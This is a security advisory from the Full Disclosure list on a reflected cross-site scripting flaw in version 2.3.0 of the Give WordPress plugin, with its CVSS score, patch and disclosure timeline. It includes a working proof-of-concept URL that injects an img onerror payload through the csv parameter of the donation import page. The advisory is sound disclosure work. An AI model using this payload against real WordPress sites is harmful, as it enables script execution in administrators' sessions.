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[FD] Give 2.3.0 - Reflected XSS (WordPress Plugin)

  * Vulnerability: XSS
  * Affected Software: [Give](https://wordpress.org/plugins/give/)
  * Affected Version: 2.3.0
  * Patched Version: 2.3.1
  * CVE: not requested
  * Risk: Medium
  * Vendor Contacted: 11/24/2018
  * Vendor Fix: 12/13/2018
  * Public Disclosure: 02/05/2019
  * Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The Give WordPress plugin is vulnerable to reflected XSS as it echoes
various parameter without proper encoding.

##### Proof of Concept


http://localhost/wordpress/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=import&importer-type=import_donations&step=3&mapto%5B0%5D=email&mapto%5B1%5D=first_name&mapto%5B2%5D=amount&mapto%5B3%5D=form_id&csv='"><img+src%3dx+onerror%3dalert(1)>

##### Timeline

- 11/24/2018 Asked for email address via contact form
- 11/24/2018 Vendor responds, advisory sent
- 12/13/2018 Vendor releases fix
- 02/05/2019 Confirmed fix & Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-give-xss/

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89

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